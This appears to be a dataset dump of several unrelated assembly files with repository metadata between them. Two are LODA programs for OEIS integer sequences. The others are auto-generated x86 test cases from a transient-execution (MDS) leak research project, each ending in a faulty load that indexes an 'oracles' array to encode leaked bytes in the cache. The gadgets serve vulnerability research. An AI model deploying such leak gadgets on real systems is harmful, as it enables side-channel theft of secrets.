25765,25994,26221,26452,26681,26914,27145,27380,27613,27850,28085,28324,28561,28802,29041,29284,29525,29770,30013,30260,30505,30754,31001,31252
mov $1,$0
add $1,$0
add $1,2
div $1,4
mul $1,3
mov $2,$0
bin $2,2
add $1,$2
add $1,1
| 115.153846
| 1,300
| 0.783567
|
51cce8b0bd8b49d38a7925731ed2af8a51796610
| 298
|
asm
|
Assembly
|
programs/oeis/171/A171182.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/171/A171182.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/171/A171182.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A171182: Period 6: repeat [0, 1, 1, 1, 0, 2].
; 0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1,1,0,2,0,1,1
add $0,1
gcd $0,6
log $0,2
mov $1,$0
| 37.25
| 211
| 0.506711
|
1e71839306223759a4cc55f32423fbdb2536a94e
| 9,389
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_ht_zr_/i7-7700_9_0xca_notsx.log_21829_1314.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_ht_zr_/i7-7700_9_0xca_notsx.log_21829_1314.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_ht_zr_/i7-7700_9_0xca_notsx.log_21829_1314.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x19ee3, %rsi
lea addresses_UC_ht+0x10e03, %rdi
nop
nop
sub $4242, %r15
mov $85, %rcx
rep movsw
nop
nop
nop
xor %rdx, %rdx
lea addresses_UC_ht+0xf2ae, %r10
nop
nop
nop
nop
and $28542, %r9
mov $0x6162636465666768, %r15
movq %r15, %xmm3
vmovups %ymm3, (%r10)
nop
nop
xor %r15, %r15
lea addresses_A_ht+0x1ba3, %r10
nop
nop
sub $20449, %rcx
movw $0x6162, (%r10)
nop
nop
nop
nop
inc %r15
lea addresses_WC_ht+0x13843, %rsi
lea addresses_UC_ht+0x18a03, %rdi
nop
nop
cmp $58043, %rbp
mov $64, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp $23963, %rcx
lea addresses_UC_ht+0x13eb, %rdi
add $53788, %r15
movw $0x6162, (%rdi)
nop
nop
nop
nop
add $22817, %rdi
lea addresses_D_ht+0xa03, %rsi
lea addresses_UC_ht+0x2a03, %rdi
inc %rbp
mov $27, %rcx
rep movsb
sub $32078, %r10
lea addresses_normal_ht+0x11203, %rsi
lea addresses_WT_ht+0x10203, %rdi
nop
nop
nop
and $30453, %r10
mov $96, %rcx
rep movsq
nop
nop
nop
cmp $7025, %rdi
lea addresses_A_ht+0x6703, %rsi
lea addresses_UC_ht+0x199a3, %rdi
nop
nop
nop
dec %r15
mov $48, %rcx
rep movsq
nop
nop
nop
sub $4357, %r9
lea addresses_A_ht+0x54ab, %rsi
lea addresses_UC_ht+0x3203, %rdi
nop
nop
xor %r9, %r9
mov $14, %rcx
rep movsq
nop
and %rbp, %rbp
lea addresses_A_ht+0xa03, %rsi
nop
nop
nop
add $9892, %rdx
movl $0x61626364, (%rsi)
nop
sub $44942, %rsi
lea addresses_A_ht+0xf203, %r15
nop
nop
nop
inc %r9
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
and $0xffffffffffffffc0, %r15
movntdq %xmm3, (%r15)
nop
dec %r15
lea addresses_UC_ht+0x11703, %rsi
lea addresses_D_ht+0x18a03, %rdi
nop
nop
nop
sub %r10, %r10
mov $111, %rcx
rep movsw
nop
nop
nop
xor $46208, %r9
lea addresses_WT_ht+0x14a03, %r15
clflush (%r15)
nop
nop
nop
nop
nop
add %rsi, %rsi
mov (%r15), %r9d
and %r9, %r9
lea addresses_WT_ht+0x1dbc3, %r15
clflush (%r15)
nop
nop
nop
nop
cmp %rdi, %rdi
mov (%r15), %rdx
and $38231, %rsi
lea addresses_D_ht+0x13503, %rbp
xor $15375, %rcx
mov $0x6162636465666768, %r15
movq %r15, (%rbp)
mfence
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r8
push %rax
push %rdi
push %rdx
// Store
lea addresses_RW+0x1f3e3, %r11
nop
nop
dec %rdi
movl $0x51525354, (%r11)
nop
nop
nop
nop
nop
cmp %rdx, %rdx
// Load
lea addresses_WC+0x182c3, %rdx
nop
and %r13, %r13
movb (%rdx), %r15b
nop
nop
nop
inc %r11
// Store
mov $0x2e16950000000003, %rax
nop
nop
nop
nop
xor $19213, %rdx
movl $0x51525354, (%rax)
nop
nop
inc %rdi
// Store
lea addresses_UC+0xaa03, %r13
nop
nop
nop
nop
and $25765, %rdx
mov $0x5152535455565758, %r8
movq %r8, %xmm7
movntdq %xmm7, (%r13)
nop
and %rdx, %rdx
// Store
lea addresses_RW+0xb803, %rdi
nop
nop
nop
and %r8, %r8
movw $0x5152, (%rdi)
nop
sub %r13, %r13
// Store
lea addresses_D+0x8f0b, %rdx
nop
cmp %r13, %r13
mov $0x5152535455565758, %rax
movq %rax, %xmm1
vmovups %ymm1, (%rdx)
cmp %r11, %r11
// Faulty Load
mov $0x2c545c0000000203, %r11
nop
xor $11612, %r13
vmovups (%r11), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r15
lea oracles, %r13
and $0xff, %r15
shlq $12, %r15
mov (%r13,%r15,1), %r15
pop %rdx
pop %rdi
pop %rax
pop %r8
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 2, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
{'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 9, 'same': True, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 11, 'same': True, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 11, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'00': 21759, '45': 61, '44': 9}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 31.612795
| 2,999
| 0.654276
|
cea6908ae9e5ef581828d4b88957e9c9420b53ee
| 451
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math48/z80/am48_ddiv.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/math48/z80/am48_ddiv.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/math48/z80/am48_ddiv.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC am48_ddiv
EXTERN mm48_fpdiv
; compute AC'/AC
;
; enter : AC'= double y
; AC = double x
;
; exit : AC = double x
;
; success
;
; AC'= y/x
; carry reset
;
; fail if divide by zero
;
; AC'= +-inf
; carry set, errno set
;
; uses : af, af', bc', de', hl'
defc am48_ddiv = mm48_fpdiv
| 15.551724
| 35
| 0.470067
|
f4357c7664bb772e5fd1461dbfc6c382b583de65
| 872
|
asm
|
Assembly
|
programs/oeis/254/A254655.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/254/A254655.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/254/A254655.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A254655: Run lengths of A254379 (Characteristic function of the even odious numbers).
; 2,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,3,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,3,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,3,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,3,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,3,1,1,1,3,1,5,1,1,1
mov $4,$0
mov $6,2
lpb $6
mov $0,$4
sub $6,1
add $0,$6
sub $0,1
div $0,2
cal $0,161560 ; a(n) = floor(A000069(n)/2-1/2).
mov $2,1
add $2,$0
add $0,$2
mov $3,$6
mov $5,$0
lpb $3
mov $1,$5
sub $3,1
lpe
lpe
lpb $4
sub $1,$5
mov $4,0
lpe
add $1,1
| 31.142857
| 501
| 0.520642
|
68117b0c423d3ba3d9330cae5643381371bed540
| 3,971
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_1132.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_1132.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_1132.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %rax
push %rcx
push %rdi
push %rsi
// Store
lea addresses_D+0x14678, %rax
nop
nop
nop
add %r8, %r8
mov $0x5152535455565758, %r13
movq %r13, (%rax)
nop
nop
nop
nop
nop
and %rdi, %rdi
// Faulty Load
lea addresses_WT+0x3278, %rsi
nop
nop
nop
nop
nop
and $64907, %r13
mov (%rsi), %eax
lea oracles, %rcx
and $0xff, %rax
shlq $12, %rax
mov (%rcx,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 65.098361
| 2,999
| 0.661798
|
5910e7b9bc7639de9d4374309f1e2d9e0843c74d
| 8,489
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_sm_/i3-7100_9_0x84_notsx.log_2272_1374.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_sm_/i3-7100_9_0x84_notsx.log_2272_1374.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_sm_/i3-7100_9_0x84_notsx.log_2272_1374.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1d41c, %r12
nop
nop
nop
add %rbx, %rbx
mov $0x6162636465666768, %r8
movq %r8, %xmm1
and $0xffffffffffffffc0, %r12
movaps %xmm1, (%r12)
inc %rax
lea addresses_WT_ht+0x1e01c, %rsi
lea addresses_WT_ht+0x1e6d0, %rdi
nop
sub $23270, %r9
mov $54, %rcx
rep movsw
nop
nop
and $2915, %r12
lea addresses_WC_ht+0x18112, %rbx
nop
nop
nop
nop
nop
inc %rax
movb $0x61, (%rbx)
nop
nop
nop
nop
sub $34460, %rbx
lea addresses_WC_ht+0x14a5c, %rsi
lea addresses_normal_ht+0x9eb2, %rdi
nop
nop
nop
and $12301, %r8
mov $122, %rcx
rep movsb
nop
nop
nop
add $22240, %r8
lea addresses_normal_ht+0x93dc, %rsi
lea addresses_D_ht+0x481c, %rdi
and $11951, %r8
mov $17, %rcx
rep movsw
xor $30411, %rcx
lea addresses_WT_ht+0x1e490, %rsi
lea addresses_WC_ht+0x11c, %rdi
nop
nop
sub %r9, %r9
mov $24, %rcx
rep movsw
nop
nop
nop
nop
nop
inc %rdi
lea addresses_A_ht+0x15c1c, %rsi
lea addresses_D_ht+0x1166a, %rdi
clflush (%rdi)
nop
nop
sub %rax, %rax
mov $102, %rcx
rep movsl
nop
and $47647, %r12
lea addresses_WT_ht+0xeece, %rsi
lea addresses_A_ht+0xde1c, %rdi
nop
nop
cmp %r9, %r9
mov $34, %rcx
rep movsb
nop
nop
add $60826, %rdi
lea addresses_A_ht+0x1a01c, %rsi
lea addresses_normal_ht+0x7e1c, %rdi
nop
add %rax, %rax
mov $49, %rcx
rep movsl
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_D_ht+0xb63c, %r8
nop
add %r9, %r9
movb (%r8), %bl
nop
nop
cmp $45749, %rbx
lea addresses_WC_ht+0x652d, %rsi
lea addresses_D_ht+0xe4c, %rdi
nop
nop
nop
and $14896, %rax
mov $63, %rcx
rep movsq
cmp %r9, %r9
lea addresses_A_ht+0x17e9e, %rsi
lea addresses_A_ht+0x486c, %rdi
nop
nop
sub $2239, %r8
mov $53, %rcx
rep movsq
nop
nop
nop
nop
dec %rax
lea addresses_WC_ht+0x74d8, %rcx
nop
nop
nop
nop
nop
add %r12, %r12
vmovups (%rcx), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rsi
nop
nop
nop
nop
nop
sub %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r15
push %rbp
push %rcx
// Store
lea addresses_normal+0x1c, %r11
nop
nop
nop
nop
nop
and %rcx, %rcx
mov $0x5152535455565758, %r12
movq %r12, %xmm0
vmovups %ymm0, (%r11)
nop
xor %r13, %r13
// Store
lea addresses_WT+0x89e4, %rbp
nop
nop
nop
and %r14, %r14
movw $0x5152, (%rbp)
nop
nop
nop
nop
inc %r13
// Store
mov $0x1e95cf000000037c, %r12
nop
nop
nop
nop
add %r15, %r15
movb $0x51, (%r12)
nop
nop
add %r13, %r13
// Load
lea addresses_A+0xfb9c, %r15
nop
sub $5480, %r14
movb (%r15), %cl
xor %r14, %r14
// Faulty Load
lea addresses_normal+0x1c, %r15
clflush (%r15)
and %rbp, %rbp
movb (%r15), %r13b
lea oracles, %rbp
and $0xff, %r13
shlq $12, %r13
mov (%rbp,%r13,1), %r13
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_NC', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
